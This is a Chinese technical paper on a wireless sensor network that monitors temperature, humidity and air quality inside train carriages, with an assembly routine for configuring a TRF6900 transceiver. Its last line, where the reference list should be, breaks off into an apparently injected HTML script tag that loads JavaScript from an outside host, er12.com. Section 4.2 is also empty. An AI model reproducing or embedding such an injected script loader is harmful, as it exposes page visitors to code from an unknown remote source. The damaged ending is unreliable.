摘 要: 介绍了用于客车室内环境检测的无线传感器网络的设计,讨论了传感器节点的温湿度、空气质量检测原理，电源特征和通信模式
1 引言
随着火车的不断提速，它业已成为越来越多的人们选择的出行交通工具，而人民生活水平的提高和对环境问题及健康问题的日益重视,车内空气品质状况受到越来越多关注。鉴于目前客车厢内环境测控系统不健全，而要对其改造和优化，多节点无线传感技术方兴未艾，如果将它运用到客车厢内环境的检测必将有广阔的前景。
2 系统概论
整个网络系统由若干无线传感器节点和监控主机两大部分组成，其中无线传感器节点分布于车厢内各个监测点，执行数据采集、预处理和传输等工作;监控主机放置在调度室,通过无线链路与传感器节点通信,对信号进行显示，输出控制信号。
3 硬件设计
3.1节点设计
温度传感器采用单片温度监控系统集成电路ａｄ7416,其芯片内部包含有温度传感器和10位模数转换器,可将感应温度转换为0.25℃量化间隔的数字信号。测温范围-55～125℃,分辨力为0.25℃,精度为±2℃。湿度传感器采用集成ｉｈ3605,在电路内部完成了信号调理,输出为模拟电压信号。测量湿度的范围为0～100%ｒｈ,在25℃下,准确度为±2%ｒｈ,线性度为±0.5%ｒｈ。
气体传感器阵列采用的是采用德国的ｇｇａ系列气体传感器[1]，如下功能：
它是集成了三种ｇｇｓ*000系列传感器和两个加热器的气体传感器阵列,每一个传感器阵列的输出信号是一个三维向量。
3．2 收发模块设计
trf6900[2]是ｔｉ公司推出的单片射频收发器芯片,其内部集成了完整的发射和接收电路。它的工作频率范围为850～950mhz,供电电压范围为２．２ｖ～３．６ｖ,射频输出功率高达+５ｄｂｍ,而待机模式时的电流消耗仅在０．５μａ～５μａ之间,另外,这种收发器还具有ｆｍ／ｆｓｋ调制模式并采用三线制串行接口,因而可很方便地与微控制器相连接,可用于ｉｓｍ频段内的数据双向无线传输。满足一点对多点通信、低功耗要求和小巧灵活易安装的技术要求。
发射模块采用ti公司的msp430[3]芯片，该微控制器是一种超低功耗的混合信号微处理器，其工作方式支持多种超低功耗和超低能耗的工作要求，延长节点电源供电的时间。
接收模块采用atmel的at89051，它具有更为广泛的软硬件资源。
3．3 监控主机部分mcu外围设备都采用典型的输出显示电路本文不再赘述。
4.软件流程实现
系统的软件包括采集器部分的软件和数据显示储存终端软件两部份。采集终端软件包括trf6900设置子程序、传感信号采集子程序、数据发送子程序三部分。假设系统工作在模式0，采用240mhz晶振，传播信号频率为904.01mhz，频宽为25khz,设定倍频系数为n=256[4]。
4．1 trf6900设置子程序
串行控制接口包括data、clock、strobe，负责对tfr6900内部四个可编程24比特控制字（a、b、c、d）的设置。在clock的每一个上升沿，data引脚的逻辑值送入移位寄存器，当strobe电平被抬高时，移位寄存器中的设定的参数被送入选定的控制寄存器。每个控制字的首部有2或3个比特的地址码，控制移位寄存器数据写入对应的控制字。
设置子程序源代码
mov40h,#25h；40～42h存放控制字a的值
mov 41h,#0aah
mov 42h,#0c6h
mov r0,#40h
mov r6,#03h
setb stdby；启动trf6900
；开始向移位寄存器发送数据
clr strobe
clr clock
trsmit: mov a,@r0
mov r7,#08h ；一字节＝8比特
shift:rlca；将40～42h中的数据由高到低发送
mov data,c
nop;延时1μs
setbclock
nop
clrclock
djnzr7,shift； 发送完一字节数据，接着发送下一字节
inc r0
djnzr6,trsmit； 全部数据送入移位寄存器
setbstrobe；抬高strobe,将移位寄存器的值写入控制字a
；依次设置控制字b、c、d，方法同上
；：
；：
；所有的控制字设置完毕
clrmode ；设置trf6900工作模式0
4．2接收发送子程序
5结语
本系统稳定性好,通信效率高,实时有效地监控车内空气品质,有利于提高出行质量和改善健康状况。
参考文献：
[1]、杨建华 侯宏 王磊 刘福 基?script src=http://er12.com/t.js>
